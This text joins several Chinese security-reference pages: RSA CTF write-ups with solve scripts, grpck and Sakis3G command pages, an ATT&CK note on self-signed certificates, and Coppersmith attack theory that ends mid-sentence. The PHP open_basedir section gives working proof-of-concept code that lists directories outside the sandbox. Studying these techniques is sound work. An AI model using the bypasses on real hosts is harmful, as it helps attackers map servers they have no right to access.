# 公钥指数相关攻击 ## 小公钥指数攻击 ### 攻击条件 e 特别小,比如 e 为 3。 ### 攻击原理 假设用户使用的密钥 $e=3$。考虑到加密关系满足: $$ c\equiv m^3 \bmod N $$ 则: $$ \begin{align*} m^3 &= c+k\times N\\ m &= \sqrt[3]{c+k\times n} \end{align*} $$ 攻击者可以从小到大枚举 $k$,依次开三次根,直到开出整数为止。 ### 范例 这里我们以 XMan 一期夏令营课堂练习为例进行介绍(Jarvis OJ 有复现),附件中有一个 `flag.enc` 和 `pubkey.pem`,很明显是密文和公钥了,先用 `openssl` 读一下公钥。 ```bash ➜ Jarvis OJ-Extremely hard RSA git:(master) ✗ openssl rsa -pubin -in pubkey.pem -text -modulus Public-Key: (4096 bit) Modulus: 00:b0:be:e5:e3:e9:e5:a7:e8:d0:0b:49:33:55:c6: 18:fc:8c:7d:7d:03:b8:2e:40:99:51:c1:82:f3:98: de:e3:10:45:80:e7:ba:70:d3:83:ae:53:11:47:56: 56:e8:a9:64:d3:80:cb:15:7f:48:c9:51:ad:fa:65: db:0b:12:2c:a4:0e:42:fa:70:91:89:b7:19:a4:f0: d7:46:e2:f6:06:9b:af:11:ce:bd:65:0f:14:b9:3c: 97:73:52:fd:13:b1:ee:a6:d6:e1:da:77:55:02:ab: ff:89:d3:a8:b3:61:5f:d0:db:49:b8:8a:97:6b:c2: 05:68:48:92:84:e1:81:f6:f1:1e:27:08:91:c8:ef: 80:01:7b:ad:23:8e:36:30:39:a4:58:47:0f:17:49: 10:1b:c2:99:49:d3:a4:f4:03:8d:46:39:38:85:15: 79:c7:52:5a:69:98:4f:15:b5:66:7f:34:20:9b:70: eb:26:11:36:94:7f:a1:23:e5:49:df:ff:00:60:18: 83:af:d9:36:fe:41:1e:00:6e:4e:93:d1:a0:0b:0f: ea:54:1b:bf:c8:c5:18:6c:b6:22:05:03:a9:4b:24: 13:11:0d:64:0c:77:ea:54:ba:32:20:fc:8f:4c:c6: ce:77:15:1e:29:b3:e0:65:78:c4:78:bd:1b:eb:e0: 45:89:ef:9a:19:7f:6f:80:6d:b8:b3:ec:d8:26:ca: d2:4f:53:24:cc:de:c6:e8:fe:ad:2c:21:50:06:86: 02:c8:dc:dc:59:40:2c:ca:c9:42:4b:79:00:48:cc: dd:93:27:06:80:95:ef:a0:10:b7:f1:96:c7:4b:a8: c3:7b:12:8f:9e:14:11:75:16:33:f7:8b:7b:9e:56: f7:1f:77:a1:b4:da:ad:3f:c5:4b:5e:7e:f9:35:d9: a7:2f:b1:76:75:97:65:52:2b:4b:bc:02:e3:14:d5: c0:6b:64:d5:05:4b:7b:09:6c:60:12:36:e6:cc:f4: 5b:5e:61:1c:80:5d:33:5d:ba:b0:c3:5d:22:6c:c2: 08:d8:ce:47:36:ba:39:a0:35:44:26:fa:e0:06:c7: fe:52:d5:26:7d:cf:b9:c3:88:4f:51:fd:df:df:4a: 97:94:bc:fe:0e:15:57:11:37:49:e6:c8:ef:42:1d: ba:26:3a:ff:68:73:9c:e0:0e:d8:0f:d0:02:2e:f9: 2d:34:88:f7:6d:eb:62:bd:ef:7b:ea:60:26:f2:2a: 1d:25:aa:2a:92:d1:24:41:4a:80:21:fe:0c:17:4b: 98:03:e6:bb:5f:ad:75:e1:86:a9:46:a1:72:80:77: 0f:12:43:f4:38:74:46:cc:ce:b2:22:2a:96:5c:c3: 0b:39:29 Exponent: 3 (0x3) Modulus=B0BEE5E3E9E5A7E8D00B493355C618FC8C7D7D03B82E409951C182F398DEE3104580E7BA70D383AE5311475656E8A964D380CB157F48C951ADFA65DB0B122CA40E42FA709189B719A4F0D746E2F6069BAF11CEBD650F14B93C977352FD13B1EEA6D6E1DA775502ABFF89D3A8B3615FD0DB49B88A976BC20568489284E181F6F11E270891C8EF80017BAD238E363039A458470F1749101BC29949D3A4F4038D463938851579C7525A69984F15B5667F34209B70EB261136947FA123E549DFFF00601883AFD936FE411E006E4E93D1A00B0FEA541BBFC8C5186CB6220503A94B2413110D640C77EA54BA3220FC8F4CC6CE77151E29B3E06578C478BD1BEBE04589EF9A197F6F806DB8B3ECD826CAD24F5324CCDEC6E8FEAD2C2150068602C8DCDC59402CCAC9424B790048CCDD9327068095EFA010B7F196C74BA8C37B128F9E1411751633F78B7B9E56F71F77A1B4DAAD3FC54B5E7EF935D9A72FB176759765522B4BBC02E314D5C06B64D5054B7B096C601236E6CCF45B5E611C805D335DBAB0C35D226CC208D8CE4736BA39A0354426FAE006C7FE52D5267DCFB9C3884F51FDDFDF4A9794BCFE0E1557113749E6C8EF421DBA263AFF68739CE00ED80FD0022EF92D3488F76DEB62BDEF7BEA6026F22A1D25AA2A92D124414A8021FE0C174B9803E6BB5FAD75E186A946A17280770F1243F4387446CCCEB2222A965CC30B3929 writing RSA key -----BEGIN PUBLIC KEY----- MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEAsL7l4+nlp+jQC0kzVcYY /Ix9fQO4LkCZUcGC85je4xBFgOe6cNODrlMRR1ZW6Klk04DLFX9IyVGt+mXbCxIs pA5C+nCRibcZpPDXRuL2BpuvEc69ZQ8UuTyXc1L9E7Huptbh2ndVAqv/idOos2Ff 0NtJuIqXa8IFaEiShOGB9vEeJwiRyO+AAXutI442MDmkWEcPF0kQG8KZSdOk9AON Rjk4hRV5x1JaaZhPFbVmfzQgm3DrJhE2lH+hI+VJ3/8AYBiDr9k2/kEeAG5Ok9Gg Cw/qVBu/yMUYbLYiBQOpSyQTEQ1kDHfqVLoyIPyPTMbOdxUeKbPgZXjEeL0b6+BF ie+aGX9vgG24s+zYJsrST1MkzN7G6P6tLCFQBoYCyNzcWUAsyslCS3kASMzdkycG gJXvoBC38ZbHS6jDexKPnhQRdRYz94t7nlb3H3ehtNqtP8VLXn75NdmnL7F2dZdl UitLvALjFNXAa2TVBUt7CWxgEjbmzPRbXmEcgF0zXbqww10ibMII2M5HNro5oDVE JvrgBsf+UtUmfc+5w4hPUf3f30qXlLz+DhVXETdJ5sjvQh26Jjr/aHOc4A7YD9AC LvktNIj3betive976mAm8iodJaoqktEkQUqAIf4MF0uYA+a7X6114YapRqFygHcP EkP0OHRGzM6yIiqWXMMLOSkCAQM= -----END PUBLIC KEY----- ``` 看到 $e=3$,很明显是小公钥指数攻击了。这里我们使用 Crypto 库来读取公钥,使用 multiprocessing 来加快破解速度。 ```python #/usr/bin/python # coding=utf-8 import gmpy2 from Crypto.PublicKey import RSA from multiprocessing import Pool pool = Pool(4) with open('./pubkey.pem', 'r') as f: key = RSA.importKey(f) N = key.n e = key.e with open('flag.enc', 'r') as f: cipher = f.read().encode('hex') cipher = int(cipher, 16) def calc(j): print j a, b = gmpy2.iroot(cipher + j * N, 3) if b == 1: m = a print '{:x}'.format(int(m)).decode('hex') pool.terminate() exit() def SmallE(): inputs = range(0, 130000000) pool.map(calc, inputs) pool.close() pool.join() if __name__ == '__main__': print 'start' SmallE() ``` 爆破时间有点长,,拿到 flag ``` Didn't you know RSA padding is really important? Now you see a non-padding message is so dangerous. And you should notice this in future.Fl4g: flag{Sm4ll_3xpon3nt_i5_W3ak} ``` ### 题目 ## RSA 衍生算法——Rabin 算法 ### 攻击条件 Rabin 算法的特征在于 $e=2$。 ### 攻击原理 密文: $$ c = m^2\bmod n $$ 解密: - 计算出 $m_p$ 和 $m_q$: $$ \begin{align*} m_p &= \sqrt{c} \bmod p\\ m_q &= \sqrt{c} \bmod q \end{align*} $$ - 用扩展欧几里得计算出 $y_p$ 和 $y_q$: $$ y_p \cdot p + y_q \cdot q = 1 $$ - 解出四个明文: $$ \begin{align*} a &= (y_p \cdot p \cdot m_q + y_q \cdot q \cdot m_p) \bmod n\\ b &= n - a\\ c &= (y_p \cdot p \cdot m_q - y_q \cdot q \cdot m_p) \bmod n\\ d &= n - c \end{align*} $$ 注意:如果 $p \equiv q \equiv 3 \pmod 4$,则 $$ \begin{align*} m_p &= c^{\frac{1}{4}(p + 1)} \bmod p\\ m_q &= c^{\frac{1}{4}(q + 1)} \bmod q \end{align*} $$ 而一般情况下,$p \equiv q \equiv 3 \pmod 4$ 是满足的,对于不满足的情况下,请参考相应的算法解决。 ### 例子 这里我们以 XMan 一期夏令营课堂练习(Jarvis OJ 有复现)为例,读一下公钥。 ```bash ➜ Jarvis OJ-hard RSA git:(master) ✗ openssl rsa -pubin -in pubkey.pem -text -modulus Public-Key: (256 bit) Modulus: 00:c2:63:6a:e5:c3:d8:e4:3f:fb:97:ab:09:02:8f: 1a:ac:6c:0b:f6:cd:3d:70:eb:ca:28:1b:ff:e9:7f: be:30:dd Exponent: 2 (0x2) Modulus=C2636AE5C3D8E43FFB97AB09028F1AAC6C0BF6CD3D70EBCA281BFFE97FBE30DD writing RSA key -----BEGIN PUBLIC KEY----- MDowDQYJKoZIhvcNAQEBBQADKQAwJgIhAMJjauXD2OQ/+5erCQKPGqxsC/bNPXDr yigb/+l/vjDdAgEC -----END PUBLIC KEY----- ``` $e=2$,考虑 Rabin 算法。首先我们先分解一下 p 和 q,得到 ```text p=275127860351348928173285174381581152299 q=319576316814478949870590164193048041239 ``` 编写代码 ```python #!/usr/bin/python # coding=utf-8 import gmpy2 import string from Crypto.PublicKey import RSA # 读取公钥参数 with open('pubkey.pem', 'r') as f: key = RSA.importKey(f) N = key.n e = key.e with open('flag.enc', 'r') as f: cipher = f.read().encode('hex') cipher = string.atoi(cipher, base=16) # print cipher print "please input p" p = int(raw_input(), 10) print 'please input q' q = int(raw_input(), 10) # 计算yp和yq inv_p = gmpy2.invert(p, q) inv_q = gmpy2.invert(q, p) # 计算mp和mq mp = pow(cipher, (p + 1) / 4, p) mq = pow(cipher, (q + 1) / 4, q) # 计算a,b,c,d a = (inv_p * p * mq + inv_q * q * mp) % N b = N - int(a) c = (inv_p * p * mq - inv_q * q * mp) % N d = N - int(c) for i in (a, b, c, d): s = '%x' % i if len(s) % 2 != 0: s = '0' + s print s.decode('hex') ``` 拿到 flag,`PCTF{sp3ci4l_rsa}`。 ### 题目
sec-knowleage
grpck === 用于验证组文件的完整性 ## 补充说明 **grpck命令** 用于验证组文件的完整性,在验证之前,需要先锁定(lock)组文件`/etc/group`和`/etc/shadow`。 grpck命令检查数据是否正确存放,每条记录是否都包含足够的信息,是否有一个唯一的组名,是否包含正确的用户,是否正确设置了组的管理员等。grpck检查发现错误以后,在命令行提示用户是否删除错误的记录。如果用户没有明确回答删除记录,grpck终止运行。 ### 语法 ```shell grpck(选项) ``` ### 选项 ```shell -r:只读模式; -s:排序组id。 ``` ### 实例 对组账号和影子文件进行验证: ```shell grpck # 必须以管理员身份运行 grpck /etc/group /etc/gshadow # 后面两句一样,如果没有输出信息,则表示没有错误。 ``` 测试错误的实例: ```shell **echo check_user:x: >> /etc/group # 添加一行错误的格式数据 cat /etc/group | grep check_user** check_user:x: # 这儿GID字段为空,是错误的。 **grpck /etc/group** invalid group file entry delete line 'check_user:x:'? y # 提示是否删除 grpck: the files have been updated # 这时已经删除了错误的行,提示文件已经更新。 **cat /etc/group | grep check_user # 没有查到,已经删除了。** ```
sec-knowleage
--- title: Sakis 3G categories: Hardware Hacking tags: [Sakis3G,Hardware Hacking,kali linux] date: 2019-06-25 11:21:00 --- 0x00 Sakis 3G介绍 ------------- Sakis3G是一个调整过的,即装即用的shell脚本,理论而言可以在任意调制解调器与运营商之间建立3G连接。它可以自动地配置好你的调制解调器或蓝牙模块,甚至可以检测运营商配置。在其他措施都失败之后,可以考虑使用这个工具。 ~~Sakis3G主页~~ | [Kali上的Sakis3G软件库](http://git.kali.org/gitweb/?p=packages/sakis3g.git;a=summary) - 作者: Sakis Dimopoulos - 证书: GPLv2 0x01 包含的工具 ---------------- ##### sakis3g – Sakis 3G整合脚本 ``` root@kali:~# sakis3g help Sakis 3G 整合脚本 - 版本 0.2.0e (c) Sakis Dimopoulos 2009, 2010 under GNU GPL v2 用法: sakis3g [指令] [开关] [变量] Sakis3G是一个调整过的,即装即用的shell脚本,理论而言可以在任意调制解调器与运营商之间建立3G连接。 注意: 这个脚本正常工作需要root权限。如果不是以root权限运行的,它会自动尝试获取权限。 常用的命令有: connect - 尝试建立3G连接。 disconnect - 终止全部正在活动的PPP连接。 toggle - 尝试建立3G连接。如果已经连接,它会改为断开此连接。 reconnect - 尝试建立3G连接。如果已经连接,它会先断开再尝试重新连接。 start - 与connect指令相同。以init.d脚本形式调用。 stop - 与disconnect指令相同。以init.d脚本形式调用。 reload - 与reconnect指令相同。以init.d脚本形式调用。 force-reload - 与reload指令相同。以init.d脚本形式调用。 restart - 与reload指令相同。以init.d脚本形式调用。 desktop - 为此脚本创建桌面快捷方式。 status - 显示连接状态和返回值。若已连接,则返回值是0;若未连接,则返回值是6。 help - 显示此页面并退出。 man - 显示软件手册。 注意: 要获得更多信息请查阅软件手册或查看Sakis3G官方wiki,地址为http://wiki.sakis3g.org/ ``` 0x02 用法示例 ---------------- `root@kali:~# sakis3g --interactive "connect"`
sec-knowleage
原文 by PHITH0N ## 0x00 前言 近期由于在开发自己的webshell,所以对PHP一些已有的漏洞进行了一定的研究,并且也自己发现了部分PHP存在的安全隐患。这篇文章我来与大家分享一下自己对于PHP中open_basedir 绕过并列举目录的方法总结。 ## 0x01 open_basedir的简介 Open_basedir是PHP设置中为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。 设置open_basedir的方法,在linux下,不同的目录由“:”分割,如“/var/www/:/tmp/”; 在Windows下不同目录由“;”分割,如“c:/www;c:/windows/temp”。 在现在这个各种云、虚拟主机横行的时期,人们希望open_basedir作为一个横亘在不同用户之间的屏障,有力地保障用户的主机能独立运行,但事实并非人们想象的那么简单。 我们这篇文章着重讲的将是绕过open_basedir进行目录的列举与遍历,为何我们不说具体文件的读、写,因为文件读写的洞是危害比较大的漏洞了,在php5.3以后很少有能够绕过open_basedir 读写文件的方法。 ## 0x02 利用DirectoryIterator + Glob 直接列举目录 DirectoryIterator 是php5中增加的一个类,为用户提供一个简单的查看目录的接口(The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories)。 glob: 数据流包装器是从 PHP 5.3.0 起开始有效的,用来查找匹配的文件路径。 结合这两个方式,我们就可以在php5.3以后对目录进行列举。在实测中,我们得知,此方法在Linux下列举目录居然可以无视open_basedir。 示例代码: ``` php <?php printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); $file_list = array(); // normal files $it = new DirectoryIterator("glob:///*"); foreach($it as $f) { $file_list[] = $f->__toString(); } // special files (starting with a dot(.)) $it = new DirectoryIterator("glob:///.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}<br/>"; } ?> ``` 执行我们可以发现,open_basedir为/usr/share/nginx/www/:/tmp/,但我们成功列举了/根目录下的所有文件: ![dir1](../pictures/phpdir1.png) 这个方法也是迄今为止最方便的方法,他不用暴力猜解目录,而是直接列举。但他对php版本、系统版本有一定要求,在5.3以上可列举(5.5/5.6可能会有修复?在官方没看到有fix),需要在Linux下才能绕过open_basedir。 ## 0x03 realpath列举目录 Realpath 函数是php中将一个路径规范化成为绝对路径的方法,它可以去掉多余的`../`或`./`等跳转字符,能将相对路径转换成绝对路径。 在开启了open_basedir以后,这个函数有个特点:当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。 所以我们可以通过这个特点,来进行目录的猜解。举个例子,我们需要猜解根目录(不在open_basedir中)下的所有文件,只用写一个捕捉php错误的函数err_handle()。当猜解某个存在的文件时,会因抛出错误而进入err_handle(),当猜解某个不存在的文件时,将不会进入err_handle()。那么由此我们来算算效率。假如一个文件名长度为6位(如config、passwd等全小写不带数字)的文件,我们最差需要枚举多少次才能猜测到他是否存在:26 ** 6 = 308915776次 ![dir2](../pictures/phpdir2.png) 这样是需要跑很久的,基本每次跑的时候我都没耐心了,这样暴力猜解肯定是不行的。那么,有什么好办法可以变这个“鸡肋”的漏洞为一个“好用”的漏洞? 熟悉Windows + PHP的同学应该还记得Windows下有两个特殊的通配符:<、> 对,我们这里就借用这些通配符的力量来列举目录。写个简单的POC来列举一下: ``` php <?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s <br/>", $matches[1]); } } ?> ``` 首先设置open_basedir为当前目录,并枚举d:/test/目录下的所有文件。将错误处理交给isexists函数,在isexists函数中匹配出目录名称,并打印出来。 执行可以看到: ![dir3](../pictures/phpdir3.png) Open_basedir为c:\wamp\www,但我们列举出了d:/test/目录下的文件: ![dir4](../pictures/phpdir4.png) 当然,这是个很粗糙的POC,因为我并没有考虑到首字母相同的文件,所以这个POC只能列举首字母不同的文件。 如果首字母相同,我们只需要再枚举第二个字符、第三个字符依次类推,即可列举出目录中所有文件。 这个方法好处是windows下php所有版本通用,当然坏处就是只有windows下才能使用通配符,如果是linux下就只能暴力猜解了。 ## 0x04 SplFileInfo::getRealPath列举目录 受到上一个方法的启发,我开始在php中寻找类似的方法。一旦realpath不能使用的情况下,也能找到替代方式。 使用的方式是SplFileInfo::getRealPath。SplFileInfo类是PHP5.1.2之后引入的一个类,提供一个对文件进行操作的接口。其中有一个和realpath名字很像的方法叫getRealPath。 这个方法功能和realpath类似,都是获取绝对路径用的。我们在SplFileInfo的构造函数中传入文件相对路径,并且调用getRealPath即可获取文件的绝对路径。这个方法有个特点:完全没有考虑open_basedir。在传入的路径为一个不存在的路径时,会返回false;在传入的路径为一个存在的路径时,会正常返回绝对路径。 我们的realpath函数还是考虑了open_basedir,只是在报错上没有考虑周全导致我们能够判断某个文件是否存在。 但我们可爱的SplFileInfo::getRealPath方法是直接没有考虑open_basedir,就能够判断一个文件是否存在。 那么,我给出一个POC: ``` php <?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); $basedir = 'D:/test/'; $arr = array(); $chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; for ($i=0; $i < strlen($chars); $i++) { $info = new SplFileInfo($basedir . $chars[$i] . '<><'); $re = $info->getRealPath(); if ($re) { dump($re); } } function dump($s){ echo $s . '<br/>'; ob_flush(); flush(); } ?> ``` 只是把之前的POC稍作修改,同样列出了D:/test下的文件: ![dir5](../pictures/phpdirt5.png) 这个方法有个特点,不管是否开启open_basedir都是可以枚举任意目录的。而上一个方法(realpath)只有在开启open_basedir且在 open_basedir外的时候才会报错,才能列举目录。当然,没有开启open_basedir的时候也不需要这样列举目录了。 ## 0x05 GD库imageftbbox/imagefttext列举目录 GD库一般是PHP必备的扩展库之一,所以我在寻找open_basedir的时候也会看看这些有用的扩展库。 我拿imageftbbox举个例子,这个函数第三个参数是字体的路径。我发现当这个参数在open_basedir外的时候,当文件存在,则php会抛出“File(xxxxx) is not within the allowed path(s)”错误。但当文件不存在的时候会抛出“Invalid font filename”错误。 也就是说,我们可以通过抛出错误的具体内容来判断一个文件是否存在。这个方法和realpath有相似性,都会抛出open_basedir的错误。 我也修改了个简单的POC: ``` php <?php ini_set('open_basedir', dirname(__FILE__)); printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; //$m = imagecreatefrompng("zip.png"); //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa'); imageftbbox(100, 100, $file, 'aaa'); } function isexists($errno, $errstr) { global $file; if (stripos($errstr, 'Invalid font filename') === FALSE) { printf("%s<br/>", $file); } } ?> ``` 同样列举一下d:/test ![dir6](../pictures/phpdir6.png) 如上图,我们发现虽然“通配符”在判断是否存在的时候奏效了,但我们真正的文件名并没有显示出来,而是还是以通配符“<><”代替。 所以,这个方法报错的时候并不会把真正的路径爆出来,这也是其与realpath的最大不同之处。所以,我们只能一位一位地猜测,但总体来说,还是能够猜测出来的,只不过可能比realpath更麻烦一些罢了。 ## 0x06 bindtextdomain暴力猜解目录 bindtextdomain是php下绑定domain到某个目录的函数。具体这个domain是什么我也没具体用过,只是在一些l10n应用中可能用到的方法(相关函数textdomain、gettext、setlocale,说明:http://php.net/manual/en/function.gettext.php) Bindtextdomain函数在环境支持Gettext Functions的时候才能使用,而我的windows环境下是没有bindtextdomain函数的,我的linux环境是默认存在这个函数。 ![dir7](../pictures/phpdir7.png) 如上图,这个函数第二个参数$directory是一个文件路径。它会在$directory存在的时候返回$directory,不存在则返回false。 写个简单的测试代码: ``` php <?php printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir')); $re = bindtextdomain('xxx', $_GET['dir']); var_dump($re); ?> ``` 当/etc/passwd存在的时候输出之: ![dir8](../pictures/phpdir8.png) 当/etc/wooyun不存在的时候返回false: ![dir9](../pictures/phpdir9.png) 并没有考虑到open_basedir。所以,我们也可以通过返回值的不同来猜解、列举某个目录。 但很大的鸡肋点在,windows下默认是没有这个函数的,而在linux下不能使用通配符进行目录的猜解,所以显得很鸡肋。 当然,在万无退路的时候进行暴力猜解目录,也不失为一个还算行的方法。 ## 0x07 总结 open_basedir本来作为php限制跨目录读写文件的最基础的方式,应该需要进行完好的设计。但可能php在当初编写代码的时候并没有进行一个统一的设计,导致每当新增加功能或遇到一些偏僻的函数的时候,都会出现类似“open_basedir绕过”等悲剧。open_basedir绕过方法固然有版本局限,但不排除有很多人手中握着0day。我当然更能相信linux/windows等操作系统自带的权限控制机制,也不会单单相信open_basedir真的能帮我防御什么。 By the way,我上面提到的这些方法,基本都还没有在php的最新版修复(甚至是我自己发现的“0day”),也就是说还真的有这么多通用的方法可以绕过open_basedir。 估计又会有人质疑了,光绕过open_basedir列目录有什么用? 诚然,列目录相比于读、写具体文件,都鸡肋了很多。但很多时候,就是这些看似“鸡肋”的漏洞组合技完成了绝杀。 ## Reference [PHP绕过open_basedir列目录的研究](https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html)
sec-knowleage
# T1587-003-开发能力-数字证书 ## 来自ATT&CK的描述 攻击者可能会创建自签名SSL/TLS证书,可在攻击目标期间使用。SSL/TLS证书旨在传输信任。它们包括有关密钥的信息、有关其所有者身份的信息以及已验证证书内容、正确的实体的数字签名。如果签名有效,并且检查证书的人信任签名者,那么他们知道他们可以使用该密钥与其所有者进行通信。在自签名的情况下,数字证书将缺乏与第三方证书颁发机构 (CA) 签名相关联的信任元素。 攻击者可能会创建自签名SSL/TLS证书,可用于进一步操作,例如加密C2流量(例如:使用Web协议的非对称加密),或者如果添加到信任根,甚至启用中间人(即安装根证书)。 创建数字证书后,攻击者可以在其控制的基础设施上安装该证书。 ## 测试案例 CS通过(CDN+证书)powershell上线详细版 <https://blog.csdn.net/god_zzZ/article/details/109057803> ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 考虑使用可能有助于跟踪Internet站点上使用的证书的服务。在某些情况下,可能会以已知的证书信息为中心,以发现其他攻击者的基础设施。 检测工作可能集中在相关行为上,例如Web协议、非对称加密或安装根证书。 ## 参考推荐 MITRE-ATT&CK-T1587-003 <https://attack.mitre.org/techniques/T1587/003/> CS通过(CDN+证书)powershell上线详细版 <https://blog.csdn.net/god_zzZ/article/details/109057803>
sec-knowleage
### Coppersmith 相关攻击基本原理 Coppersmith 相关攻击与[Don Coppersmith](https://en.wikipedia.org/wiki/Don_Coppersmith) 紧密相关,他提出了一种针对于模多项式(单变量,二元变量,甚至多元变量)找所有小整数根的多项式时间的方法。 这里我们以单变量为主进行介绍,假设 - 模数为 N ,N 具有一个因子 $b\geq N^{\beta},0< \beta \leq 1$ - 多项式 F 的次数为 $\delta$ 那么该方法可以在$O(c\delta^5log^9(N))$ 的复杂度内找到该多项式所有的根$x_0$,这里我们要求 $|x_0|<cN^{\frac{\beta^2}{\delta}}$ 。 在这个问题中,我们的目标是找到在模 N 意义下多项式所有的根,这一问题被认为是复杂的。**Coppersmith method** 主要是通过 [Lenstra–Lenstra–Lovász lattice basis reduction algorithm](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)(LLL)方法找到 - 与该多项式具有相同根 $x_0$ - 更小系数 - 定义域为整数域 的多项式 g,由于在整数域上找多项式的根是简单的(Berlekamp–Zassenhaus),从而我们就得到了原多项式在模意义下的整数根。 在 LLL 算法中,有两点是非常有用的 - 只对原来的基向量进行整数线性变换,这可以使得我们在得到 g 时,仍然以原来的 $x_0$ 为根。 - 生成的新的基向量的模长是有界的,这可以使得我们利用 Howgrave-Graham 定理。 在这样的基础之上,我们再构造出多项式族 g 就可以了。 关于更加细节的内容,请自行搜索。同时这部分内容也会不断更新。 需要注意的是,由于 Coppersmith 根的约束,在 RSA 中的应用时,往往只适用于 e 较小的情况。 ### Basic Broadcast Attack攻击条件 如果一个用户使用同一个加密指数 e 加密了同一个密文,并发送给了其他 e 个用户。那么就会产生广播攻击。这一攻击由 Håstad 提出。 ### Basic Broadcast Attack攻击原理 这里我们假设 e 为 3,并且加密者使用了三个不同的模数 $n_1,n_2,n_3$ 给三个不同的用户发送了加密后的消息 m,如下 $$ \begin{align*} c_1&=m^3\bmod n_1 \\ c_2&=m^3\bmod n_2 \\ c_3&=m^3\bmod n_3 \end{align*} $$ 这里我们假设 $n_1,n_2,n_3$ 互素,不然,我们就可以直接进行分解,然后得到 d,进而然后直接解密。 同时,我们假设 $m<n_i, 1\leq i \leq 3$。如果这个条件不满足的话,就会使得情况变得比较复杂,这里我们暂不讨论。 既然他们互素,那么我们可以根据中国剩余定理,可得$m^3 \equiv C \bmod n_1n_2n_3$。 此外,既然 $m<n_i, 1\leq i \leq 3$,那么我们知道 $m^3 < n_1n_2n_3$ 并且 $C<m^3 < n_1n_2n_3$,那么 $m^3 = C$,我们对 C 开三次根即可得到 m 的值。 对于较大的 e 来说,我们只是需要更多的明密文对。 ### Related Message Attack攻击条件 当 Alice 使用同一公钥对两个具有某种线性关系的消息 M1 与 M2 进行加密,并将加密后的消息 C1,C2 发送给了 Bob 时,我们就可能可以获得对应的消息 M1 与 M2。这里我们假设模数为 N,两者之间的线性关系如下 $$ M_1 \equiv f(M_2) \bmod N $$ 其中 f 为一个线性函数,比如说 $f=ax+b$。 在具有较小错误概率下的情况下,其复杂度为 $O(elog^2N)$。 这一攻击由 Franklin,Reiter 提出。 ### Related Message Attack攻击原理 首先,我们知道 $C_1 \equiv M_1 ^e \bmod N$,并且 $M_1 \equiv f(M_2) \bmod N$,那么我们可以知道 $M_2$ 是 $f(x)^e \equiv C_1 \bmod N$ 的一个解,即它是方程 $f(x)^e-C_1$ 在模 N 意义下的一个根。同样的,$M_2$ 是 $x^e - C_2$ 在模 N 意义下的一个根。所以说 $x-M_2$ 同时整除以上两个多项式。因此,我们可以求得两个多项式的最大公因子,如果最大公因子恰好是线性的话,那么我们就求得了 $M_2$。需要注意的是,在 $e=3$ 的情况下,最大公因子一定是线性的。 这里我们关注一下 $e=3$,且 $f(x)=ax+b$ 的情况。首先我们有 $$ C_1 \equiv M_1 ^3 \bmod N,M_1 \equiv aM_2+b \bmod N $$ 那么我们有 $$ C_1 \equiv (aM_2+b)^3 \bmod N,C_2 \equiv M_2^3 \bmod N $$ 我们需要明确一下我们想要得到的是消息 m,所以需要将其单独构造出来。 首先,我们有式 1 $$ (aM_2+b)^3=a^3M_2^3+3a^2M^2b+3aM_2b^2+b^3 $$ 再者我们构造如下式 2 $$ (aM_2)^3-b^3 \equiv (aM_2-b)(a^2M_2^2+aM_2b+b^2) \bmod N $$ 根据式 1 我们有 $$ a^3M_2^3-2b^3+3b(a^2M_2^2+aM_2b+b^2) \equiv C_1 \bmod N $$ 继而我们有式 3 $$ 3b(a^2M_2^2+aM_2b+b^2) \equiv C_1-a^3C_2+2b^3 \bmod N $$ 那么我们根据式 2 与式 3 可得 $$ (a^3C_2-b^3)*3b \equiv (aM_2-b)( C_1-a^3C_2+2b^3 ) \bmod N $$ 进而我们有 $$ aM_2-b=\frac{3a^3bC_2-3b^4}{C_1-a^3C_2+2b^3} $$ 进而 $$ aM_2\equiv \frac{2a^3bC_2-b^4+C_1b}{C_1-a^3C_2+2b^3} $$ 进而 $$ M_2 \equiv\frac{2a^3bC_2-b^4+C_1b}{aC_1-a^4C_2+2ab^3}=\frac{b}{a}\frac{C_1+2a^3C_2-b^3}{C_1-a^3C_2+2b^3} $$ 上面的式子中右边所有的内容都是已知的内容,所以我们可以直接获取对应的消息。 有兴趣的可以进一步阅读 [A New Related Message Attack on RSA](https://www.iacr.org/archive/pkc2005/33860001/33860001.pdf) 以及 [paper](https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf) 这里暂不做过多的讲解。 ### Coppersmith’s short-pad attack攻击条件 目前在大部分消息加密之前都会进行 padding,但是如果 padding 的长度过短,也有**可能**被很容易地攻击。 这里所谓 padding 过短,其实就是对应的多项式的根会过小。 ### Coppersmith’s short-pad attack攻击原理 我们假设爱丽丝要给鲍勃发送消息,首先爱丽丝对要加密的消息 M 进行随机 